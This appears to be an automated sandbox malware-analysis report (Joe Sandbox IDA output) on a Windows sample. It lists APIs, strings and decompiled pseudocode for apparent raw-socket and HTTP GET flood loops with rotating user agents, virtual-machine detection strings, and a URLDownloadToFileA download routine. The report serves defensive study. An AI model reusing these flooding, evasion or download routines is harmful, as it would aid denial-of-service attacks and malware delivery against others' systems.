Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: _setmode$__set_app_type$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 2043081007-0
Opcode ID: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction ID: 752eb1ab21b4c19d55682f3c7b2bcf3a34383202cb890f95c9a90ba33a14ec6c
Opcode Fuzzy Hash: 36b1d3dea03947f55434b9ec7bd84f55484cfed7e86ffaa1a5bdde0d5196f56c
Instruction Fuzzy Hash: 02D09B354142149BC7007BF5DC0A399BBA86B09301F41443CE6CD67261D6743C4947DA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00406BEA Relevance: 18.1, APIs: 12, Instructions: 148memorysleepnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00406C3F
WSASocketA.WS2_32 ref: 00406C79
setsockopt.WS2_32 ref: 00406CB7
GetProcessHeap.KERNEL32 ref: 00406CD0
RtlAllocateHeap.NTDLL ref: 00406CE8
memset.MSVCRT ref: 00406D1E
GetCurrentProcessId.KERNEL32 ref: 00406D2B
GetTickCount.KERNEL32 ref: 00406D52
Sleep.KERNEL32 ref: 00406D8E
GetTickCount.KERNEL32 ref: 00406DA3
sendto.WS2_32 ref: 00406DEF
Sleep.KERNEL32 ref: 00406E06

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CountHeapProcessSleepTick$AllocateCurrentSocketinet_addrmemsetsendtosetsockopt
String ID:
API String ID: 3025670439-0
Opcode ID: 8f36765fed8946fb84c59005e0349ea6ea9b48ae6f814b93941fa266c4b3c2f0
Instruction ID: c887a22924d357f2cc4e5641eb84b294b57a756f528ba2f64bcdc76ce2e57ac6
Opcode Fuzzy Hash: 8f36765fed8946fb84c59005e0349ea6ea9b48ae6f814b93941fa266c4b3c2f0
Instruction Fuzzy Hash: EB5129B09043459BD700EFA8C18439EFBF1BF84314F108A3EE499AB785D7789459CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404990 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 004049C7

Strings

vmware, xrefs: 004049A2
virtual, xrefs: 0040499B
qemu, xrefs: 004049A9
vbox, xrefs: 004049B0

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: strstr
String ID: qemu$vbox$virtual$vmware
API String ID: 1392478783-2646423876
Opcode ID: e80c964a466ab43288035c18f3b9686e1997324c0e45a20cd33772183577bb06
Instruction ID: b540962fa618101e36228a8a74583da539d79dad1ba2731ad5b1d3bf9ece319c
Opcode Fuzzy Hash: e80c964a466ab43288035c18f3b9686e1997324c0e45a20cd33772183577bb06
Instruction Fuzzy Hash: 3DF0A7F4800208CBDB109FA5D8813AF7BA8EB04718F10407ADA54BF7C0D3799D8487D9

Uniqueness

Uniqueness Score: -1.00%

Function 00404F82 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 210timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00404FD9
GetTickCount.KERNEL32 ref: 00404FE1
srand.MSVCRT ref: 00404FE9
rand.MSVCRT ref: 00404FF2
GetTickCount.KERNEL32 ref: 00404FF9
srand.MSVCRT ref: 00405001
rand.MSVCRT ref: 0040500D
GetTickCount.KERNEL32 ref: 00405026
srand.MSVCRT ref: 0040502E
rand.MSVCRT ref: 00405033
GetTickCount.KERNEL32 ref: 0040504E
srand.MSVCRT ref: 00405056
rand.MSVCRT ref: 0040505B
GetTickCount.KERNEL32 ref: 00405076
srand.MSVCRT ref: 0040507E
rand.MSVCRT ref: 00405083
GetTickCount.KERNEL32 ref: 0040509E
srand.MSVCRT ref: 004050A6
rand.MSVCRT ref: 004050AB
GetTickCount.KERNEL32 ref: 004050C6
srand.MSVCRT ref: 004050CE
rand.MSVCRT ref: 004050D3
GetLocalTime.KERNEL32 ref: 004050E5
_itoa.MSVCRT ref: 00405102
rand.MSVCRT ref: 00405107
rand.MSVCRT ref: 0040513A
rand.MSVCRT ref: 00405168
rand.MSVCRT ref: 00405196
rand.MSVCRT ref: 004051C0
rand.MSVCRT ref: 004051EF

Strings

1, xrefs: 00405006
abcdefghijklmnopqrstuvwxyz, xrefs: 00404F8E

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: rand$CountTicksrand$LocalTime$_itoa
String ID: 1$abcdefghijklmnopqrstuvwxyz
API String ID: 1825045967-2454072292
Opcode ID: 4f87a31ff910bbbb76765ae44f831347ed66564e87c85ef04c6c44d63fd729d0
Instruction ID: 02076846e8c8a6e31432f83e4ba7e8d02048c9f1cba05857c09831ad89ea6e40
Opcode Fuzzy Hash: 4f87a31ff910bbbb76765ae44f831347ed66564e87c85ef04c6c44d63fd729d0
Instruction Fuzzy Hash: 05818271D10255CECB20EFFDC9855AEBBF0EF44304F04827EE884EB686E63859458B99

Uniqueness

Uniqueness Score: -1.00%

Function 00406F1C Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 123librarystringfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00406F5D
GetProcAddress.KERNEL32 ref: 00406F7A
FreeLibrary.KERNEL32 ref: 00406F8E
GetSystemDirectoryA.KERNEL32 ref: 00406FB1
lstrlen.KERNEL32 ref: 00406FBC
lstrcat.KERNEL32 ref: 00406FD9
_mbscat.MSVCRT ref: 00407014
DeleteFileA.KERNEL32 ref: 00407059

Strings

urlmon.dll, xrefs: 00406F56
D, xrefs: 00407089
D, xrefs: 00407071
URLDownloadToFileA, xrefs: 00406F6F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Library$AddressDeleteDirectoryFileFreeLoadProcSystem_mbscatlstrcatlstrlen
String ID: D$D$URLDownloadToFileA$urlmon.dll
API String ID: 2488436691-568779862
Opcode ID: ebe57cb0f9589f4619213900ffa154d24ec79a2706f185bd2996470c07c04b7e
Instruction ID: 6020ed59d1fb2f3a26d031d0468f3da87cf9bf9a4133c77db0aeb5110a75bae0
Opcode Fuzzy Hash: ebe57cb0f9589f4619213900ffa154d24ec79a2706f185bd2996470c07c04b7e
Instruction Fuzzy Hash: F451E0B0804744CBD750EF29D98579EBBF0BF44314F404A6EE8899B381D7789688CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402120(intOrPtr _a4) {
				intOrPtr _v76;
				char _v82;
				short _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v104;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				void* _t69;
				short* _t70;
				signed int _t71;
				intOrPtr _t72;
				void* _t73;
				void* _t74;
				intOrPtr* _t75;

				_t72 = _a4;
				_t69 =  &_v92;
				asm("cld");
				memset(_t69, 0, 3 << 2);
				_t75 = _t74 + 0xc;
				_t70 = _t69 + 3;
				 *_t70 = 0;
				 *((char*)(_t70 + 2)) = 0;
				_v92 = 0x6b6c7665;
				_v88 = 0x686f6472;
				_v84 = 0x706c;
				_v82 = 0;
				_t9 =  &_v92; // 0x6b6c7665
				_v104 = _t9;
				 *_t75 = 0x40e44a;
				E00404C6A();
				E00402106();
				_t64 =  *0x414008;
				_t71 = 0;
				do {
					_t67 = _t64 * 0xcccccccd >> 0x20 >> 3;
					 *((intOrPtr*)(_t73 + _t71 * 4 - 0x48)) = _t64 - _t67 + _t67 * 4 + _t67 + _t67 * 4;
					_t64 = _t67;
					_t71 = _t71 + 1;
				} while (_t71 <= 9);
				_t68 = 0;
				do {
					 *((char*)(_t68 + _t72)) =  *( *((intOrPtr*)(_t73 + _t68 * 4 - 0x48)) +  &_v92) & 0x000000ff;
					_t68 = _t68 + 1;
				} while (_t68 <= 9);
				 *((char*)(_t72 + 0xa)) = 0;
				if(_v76 != 0) {
					if(_v76 != 1) {
						if(_v76 != 2) {
							if(_v76 != 3) {
								if(_v76 != 4) {
									if(_v76 != 5) {
										if(_v76 != 6) {
											_t53 =  *0x40d07c; // 0x40e446
											_v104 = _t53;
											 *_t75 = _t72;
											L0040C208();
											return _t53;
										}
										_t54 =  *0x40d078; // 0x40e440
										_v104 = _t54;
										 *_t75 = _t72;
										L0040C208();
										return _t54;
									}
									_t55 =  *0x40d074; // 0x40e43c
									_v104 = _t55;
									 *_t75 = _t72;
									L0040C208();
									return _t55;
								}
								_t56 =  *0x40d070; // 0x40e437
								_v104 = _t56;
								 *_t75 = _t72;
								L0040C208();
								return _t56;
							}
							_t57 =  *0x40d06c; // 0x40e432
							_v104 = _t57;
							 *_t75 = _t72;
							L0040C208();
							return _t57;
						}
						_t58 =  *0x40d068; // 0x40e42e
						_v104 = _t58;
						 *_t75 = _t72;
						L0040C208();
						return _t58;
					}
					_t59 =  *0x40d064; // 0x40e429
					_v104 = _t59;
					 *_t75 = _t72;
					L0040C208();
					return _t59;
				}
				_t60 =  *0x40d060; // 0x40e424
				_v104 = _t60;
				 *_t75 = _t72;
				L0040C208();
				return _t60;
			}

APIs

_mbscat.MSVCRT ref: 004021CC
_mbscat.MSVCRT ref: 004021E8
_mbscat.MSVCRT ref: 00402204

Strings

$@, xrefs: 004021C0
F@, xrefs: 0040226F
evlkrdohlp, xrefs: 0040215D
)@, xrefs: 004021DC
@@, xrefs: 0040225C
7@, xrefs: 0040222A
2@, xrefs: 00402211
.@, xrefs: 004021F8
<@, xrefs: 00402243

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: _mbscat
String ID: $@$)@$.@$2@$7@$<@$@@$F@$evlkrdohlp
API String ID: 134015809-3435826350
Opcode ID: c12f48e13e570ad5b0255dc16d45f781d8719ac7601166f7755f4ed953bb1293
Instruction ID: 21a54818e9aca3eeccc7b18a3caaa5206cc12068587b62876ebf60fed946ae37
Opcode Fuzzy Hash: c12f48e13e570ad5b0255dc16d45f781d8719ac7601166f7755f4ed953bb1293
Instruction Fuzzy Hash: 7D411A70E04244DBCB509FA9D68565EBBF0AB45708F10457FE498AB3C1D3789986CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0E0 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040B0E0(void* __eax) {
				void* _v16;
				short _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v108;
				short _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v188;
				int _v192;
				void* __ebx;
				char _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				void* _t65;
				intOrPtr _t71;
				intOrPtr _t73;
				signed char _t75;
				char _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				void* _t90;
				void* _t92;
				signed int _t93;
				signed int _t94;
				void* _t96;
				signed int _t101;
				intOrPtr _t103;
				intOrPtr _t104;
				void* _t105;
				signed int _t106;
				signed int _t109;
				signed int _t110;
				signed int* _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				signed int* _t115;

				_t94 =  *0x418284;
				if(_t94 == 0) {
					_v108 = 0x41414141;
					_t51 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t3 =  &_v108; // 0x41414141
					_t110 = _t3;
					_v104 = 0x41414141;
					_v100 = 0x41414141;
					_v76 = _t51;
					_t52 = M004131B4; // 0x57434347
					_v96 = 0x41414141;
					_v92 = 0x41414141;
					_v72 = _t52;
					_t53 = M004131B8; // 0x452d3233
					_v88 = 0x41414141;
					_v84 = 0x41414141;
					_v68 = _t53;
					_t54 = M004131BC; // 0x2d322d48
					_v80 = 0x41414141;
					_v64 = _t54;
					_t55 = M004131C0; // 0x4a4c4a53
					_v60 = _t55;
					_t56 = M004131C4; // 0x4854472d
					_v56 = _t56;
					_t57 = M004131C8; // 0x494d2d52
					_v52 = _t57;
					_t58 =  *0x4131cc; // 0x3357474e
					_v48 = _t58;
					_v44 =  *0x4131d0 & 0x0000ffff;
					 *_t111 = _t110;
					_t61 = FindAtomA(??) & 0x0000ffff;
					_t112 = _t111 - 4;
					_v192 = _t61;
					if(_t61 != 0) {
						L10:
						_t93 = E0040B040(_t61, _t92);
					} else {
						 *_t112 = 0x3c;
						_t65 = malloc(??);
						_t93 = _t65;
						if(_t65 == 0) {
							abort();
							0;
							0;
							_push(_t94);
							_t96 = _t112 + 8;
							while(_t65 >= 0x1000) {
								_t96 = _t96 - 0x1000;
								_t65 = _t65 - 0x1000;
							}
							goto __eax;
						}
						asm("cld");
						memset(_t65, _v192, 0xf << 2);
						_t114 = _t112 + 0xc;
						 *((intOrPtr*)(_t93 + 4)) = L0040C278;
						_t101 = 1;
						 *((intOrPtr*)(_t93 + 8)) = E0040B030;
						 *_t93 = 0x3c;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x14)) =  *0x418254;
						_t71 =  *0x40d4f0; // 0x0
						 *((intOrPtr*)(_t93 + 0x18)) =  *0x418258;
						_t103 =  *0x40d4f4; // 0xffffffff
						 *((intOrPtr*)(_t93 + 0x1c)) = _t71;
						 *((intOrPtr*)(_t93 + 0x20)) = _t103;
						 *((intOrPtr*)(_t93 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t93 + 0x2c)) =  *0x418264;
						_t104 =  *0x40d4fc; // 0xffffffff
						_t73 =  *0x40d4f8; // 0x0
						 *((intOrPtr*)(_t93 + 0x38)) = _t104;
						_t105 = 0x1f;
						 *((intOrPtr*)(_t93 + 0x34)) = _t73;
						do {
							_t75 = _t93 & _t101;
							asm("sbb eax, eax");
							_t101 = _t101 + _t101;
							 *((char*)(_t105 +  &_v188)) = (_t75 & 0x00000020) + 0x41;
							_t105 = _t105 - 1;
						} while (_t105 >= 0);
						_t78 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v156 = _t78;
						_t79 = M004131B4; // 0x57434347
						_v152 = _t79;
						_t80 = M004131B8; // 0x452d3233
						_v148 = _t80;
						_t81 = M004131BC; // 0x2d322d48
						_v144 = _t81;
						_t82 = M004131C0; // 0x4a4c4a53
						_v140 = _t82;
						_t83 = M004131C4; // 0x4854472d
						_v136 = _t83;
						_t84 = M004131C8; // 0x494d2d52
						_v132 = _t84;
						_t85 =  *0x4131cc; // 0x3357474e
						_v128 = _t85;
						_v124 =  *0x4131d0 & 0x0000ffff;
						 *_t114 =  &_v188;
						_t109 = AddAtomA(??) & 0x0000ffff;
						_t115 = _t114 - 4;
						if(_t109 != 0) {
							_t90 = E0040B040(_t109, _t93);
							_t106 = _t109;
							if(_t90 != _t93) {
								goto L7;
							} else {
								goto L8;
							}
							goto L19;
						} else {
							L7:
							_t106 = 0;
						}
						L8:
						if(_t106 == 0) {
							 *_t115 = _t93;
							L0040C1C8();
							 *_t115 = _t110;
							_t61 = FindAtomA(??) & 0x0000ffff;
							goto L10;
						}
					}
					 *0x418284 = _t93;
					_t46 = _t93 + 4; // 0x4
					 *0x418274 = _t46;
					_t47 = _t93 + 8; // 0x8
					_t64 = _t47;
					 *0x418294 = _t64;
					return _t64;
				} else {
					return __eax;
				}
				L19:
			}

0x0040b0ec
0x0040b0f4
0x0040b0fe
0x0040b105
0x0040b10a
0x0040b10a
0x0040b10d
0x0040b114
0x0040b11b
0x0040b11e
0x0040b123
0x0040b12a
0x0040b131
0x0040b134
0x0040b139
0x0040b140
0x0040b147
0x0040b14a
0x0040b14f
0x0040b156
0x0040b159
0x0040b15e
0x0040b161
0x0040b166
0x0040b169
0x0040b16e
0x0040b171
0x0040b176
0x0040b180
0x0040b184
0x0040b18d
0x0040b190
0x0040b195
0x0040b19b
0x0040b2dc
0x0040b2e1
0x0040b1a1
0x0040b1a1
0x0040b1a8
0x0040b1af
0x0040b1b1
0x0040b310
0x0040b31b
0x0040b31f
0x0040b320
0x0040b323
0x0040b326
0x0040b32d
0x0040b336
0x0040b336
0x0040b34b
0x0040b34b
0x0040b1b7
0x0040b1c5
0x0040b1c5
0x0040b1c7
0x0040b1ce
0x0040b1d3
0x0040b1df
0x0040b1eb
0x0040b1f2
0x0040b1f5
0x0040b1fa
0x0040b1fd
0x0040b203
0x0040b20b
0x0040b20e
0x0040b215
0x0040b218
0x0040b21e
0x0040b223
0x0040b226
0x0040b22b
0x0040b230
0x0040b232
0x0040b237
0x0040b23b
0x0040b23f
0x0040b246
0x0040b246
0x0040b249
0x0040b24e
0x0040b254
0x0040b259
0x0040b25f
0x0040b264
0x0040b26a
0x0040b26f
0x0040b275
0x0040b27a
0x0040b280
0x0040b285
0x0040b28b
0x0040b290
0x0040b293
0x0040b298
0x0040b2a2
0x0040b2ac
0x0040b2b5
0x0040b2b8
0x0040b2bd
0x0040b303
0x0040b30a
0x0040b30c
0x00000000
0x0040b30e
0x00000000
0x0040b30e
0x00000000
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2c1
0x0040b2c3
0x0040b2c5
0x0040b2c8
0x0040b2cd
0x0040b2d9
0x00000000
0x0040b2d9
0x0040b2c3
0x0040b2e3
0x0040b2e9
0x0040b2ec
0x0040b2f1
0x0040b2f1
0x0040b2f4
0x0040b300
0x0040b0f6
0x0040b0fd
0x0040b0fd
0x00000000

APIs

FindAtomA.KERNEL32 ref: 0040B187
malloc.MSVCRT ref: 0040B1A8
AddAtomA.KERNEL32 ref: 0040B2AF

Strings

AAAA, xrefs: 0040B140
AAAA, xrefs: 0040B139
AAAA, xrefs: 0040B10A
AAAA, xrefs: 0040B14F
AAAA, xrefs: 0040B12A
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 0040B105, 0040B249
AAAA, xrefs: 0040B123
AAAA, xrefs: 0040B10D
AAAA, xrefs: 0040B114

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: e121aab65c52f84232180f22f1a17a4096b6524b51ea5d091e72e0ac7f7ffeb1
Instruction ID: 5c8a408c4dcb306db70316dfdce650025cae950a5a82f7704b97cd34435e599e
Opcode Fuzzy Hash: e121aab65c52f84232180f22f1a17a4096b6524b51ea5d091e72e0ac7f7ffeb1
Instruction Fuzzy Hash: DC6107B4A00218DFDB50CFA9E9C4699BBF0FB48311F1481BAD818EB395E7349945CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00406A48 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 82
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00406A48(void* __eflags, intOrPtr* _a4) {
				void* _v16;
				char _v1052;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				char* _v1100;
				char* _v1104;
				char* _v1108;
				char* _v1112;
				char* _v1116;
				char* _v1120;
				char* _v1124;
				char* _v1128;
				char* _v1132;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				char _v1156;
				char* _v1160;
				void* __ebx;
				signed int _t39;
				char _t45;
				intOrPtr* _t49;
				char _t50;
				intOrPtr _t51;
				char _t63;
				char _t64;
				void* _t65;
				void* _t66;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t70;

				_t67 = _t66 - 0x47c;
				_t49 = _a4;
				_v1132 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
				_v1128 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)";
				_v1124 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)";
				_v1120 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
				_v1116 = "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1";
				_v1112 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)";
				_v1108 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)";
				_v1104 = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
				_v1100 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
				 *_t67 = 9;
				_t39 = E00404EAE();
				_t51 =  *_t49;
				_v1084 = _t51;
				_t63 =  *((intOrPtr*)(_t49 + 4));
				_v1080 = _t63;
				_v1076 =  *((intOrPtr*)(_t49 + 8));
				_v1072 =  *((intOrPtr*)(_t49 + 0xc));
				_v1068 =  *((intOrPtr*)(_t49 + 0x10));
				_v1148 = _t51;
				_v1152 =  *((intOrPtr*)(_t65 + _t39 * 4 - 0x468));
				_v1156 = _t63;
				_v1160 = "GET %s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: %s\r\nHost: %s\r\nAccept: */*\r\n";
				_t50 =  &_v1052;
				 *_t67 = _t50;
				wsprintfA(??, ??);
				asm("cld");
				asm("repne scasb");
				 *((short*)(0xffffffff + _t50)) = 0xa0d;
				 *((char*)(0xbadbac + _t50 + 2)) = 0;
				_t64 = _t50;
				while(1) {
					_t45 = E00405434(_v1084, _t50, _v1084, _v1076);
					_t50 = _t45;
					if(_t45 == 0xffffffff) {
						break;
					}
					asm("cld");
					asm("repne scasb");
					_v1144 = 0;
					_v1148 = 0xbadbac;
					_v1152 = _t64;
					_v1156 = _t50;
					L004086B0();
					_t69 = _t67 - 0x10;
					 *_t69 = _t50;
					L004086C0();
					_t70 = _t69 - 4;
					 *_t70 = _v1068;
					Sleep(??);
					_t67 = _t70 - 4;
				}
				return 0;
			}

APIs

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

wsprintfA.USER32 ref: 00406B0D

Part of subcall function 00405434: WSASocketA.WS2_32 ref: 0040546A
Part of subcall function 00405434: htons.WS2_32 ref: 00405485
Part of subcall function 00405434: WSAConnect.WS2_32 ref: 004054D7

send.WS2_32 ref: 00406B6F
closesocket.WS2_32 ref: 00406B7A
Sleep.KERNEL32 ref: 00406B8B

Strings

Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0), xrefs: 00406A9D
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 00406A57
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 00406AA7
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon), xrefs: 00406A61
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322), xrefs: 00406A75
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1), xrefs: 00406A89
Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729), xrefs: 00406A6B
GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*, xrefs: 00406AFC
Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1, xrefs: 00406A7F
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;), xrefs: 00406A93

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

